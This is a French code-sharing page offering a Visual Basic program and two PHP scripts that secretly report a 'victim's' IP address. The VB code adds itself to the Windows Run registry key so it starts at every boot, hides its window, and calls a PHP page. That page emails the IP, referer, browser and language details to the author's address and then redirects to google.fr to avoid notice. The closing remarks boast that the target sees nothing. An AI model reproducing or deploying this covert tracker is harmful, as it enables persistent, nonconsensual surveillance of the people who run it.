Recuperer ip par mail (avec une page php) des le demarage de win (mise à jour)

Télécharger le projet
Commenter

Description

Ben en faite c'est un programme qui s'ouvre en même temps que windows (puis se referme tres rapidement avec la fonction Unload Me), qui lance internet explorer et va sur la page web ip.php hébergé chez un hebergeur qui accepte la fonction mail() (free dans mon cas). Ensuite le script php, vous envoie le mail avec l'ip de la victime et ya même un petit script en javascript pour rediriger tres rapidement vers google.fr ;)

10/03/2005 : Version 2.1 final
13/03/2005 : Version 3.1 bêta

Source / Exemple : 


Private Sub Form_Load()
    'ecriture du prog dans la base de registre
 Dim WSHShell
Dim MaClef
Dim MonProg
Dim CheminDeMonProg
Dim r
Set WSHShell = CreateObject("Wscript.Shell")

MonProg = "IP v3.1"
CheminDeMonProg = "C:\ip v3.1.exe"
MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg

r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")
    
    LblEtatRAS.Caption = GetNetConnectString
    
  'si le pc est connecté au net
 If TestActiveConnect = True Then
        Timer3.Enabled = True
        Timer4.Enabled = False
        LblTest.ForeColor = vbGreen
        LblTest.Caption = "Connection Actuellement en cours"
        
  Else
        LblTest.ForeColor = vbRed
        LblTest.Caption = "Connection Impossible"
    'sinon activer Timer2
        Timer2.Enabled = True
    End If

End Sub

Private Sub Timer1_Timer()
    LblEtatRAS.Caption = GetNetConnectString
   
End Sub

Private Sub Timer2_Timer()
    'quitte la Form1
       Unload Form1
    'recharge la Form1
       Load Form1
End Sub

Private Sub Timer3_Timer()
  
    'ouverture de l'url par Inet
    
    ip1 = Inet1.OpenURL("adresse de votre page php")
    Timer4.Enabled = True
    Timer3.Enabled = False
   
End Sub
 
Private Sub Timer4_Timer()
If TestActiveConnect = False Then
    Timer3.Enabled = True
    Timer4.Enabled = False

    Else
    ip2 = Inet1.OpenURL("adresse de l'autre page php (la deuxieme) ip4.php")
    Timer5.Enabled = True
 End If
End Sub

Private Sub Timer5_Timer()
If ip1 = ip2 Then
    Timer5.Enabled = False
    Else
    Inet1.OpenURL ("l'adresse de votre premiere page php")
    Timer5.Enabled = False
 End If
End Sub

____________________________________________________________________
'page php : ip3.php

<?PHP

/*  Coded by ElastycmaN (a na pas changer !;o))  */

$vraieip = getenv("HTTP_X_FORWARDED_FOR");

if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;

/* Et a la suite mon script qui envoit l'ip par mail*/
$msg = "IP:\t$vraieip\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "votre adresse mail";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);

?>
_____________________________________________________________________
'page php : ip4.php
<?PHP

/*  Coded by ElastycmaN  */

$vraieip = getenv("HTTP_X_FORWARDED_FOR");

if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;

?>

Conclusion :


Info complémentaire : En gros, des que le programme est ouvert, il s'inscrit sur la base de registreet souvre a chaque demarrage ;o) pis le gars qui l'ouvre ne voit presque pas la form mais vois juste IE s'ouvrir et www.google.fr se charger, même son ip il ne le vois pas puisque je n'e l'ai pas print ;o)

P.S : Presque rien n'est de moi je n'ai fait que reprendre des scripts trouvés ici merci a tous =)
Télécharger le projet

Codes Sources

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (cs_chico200987)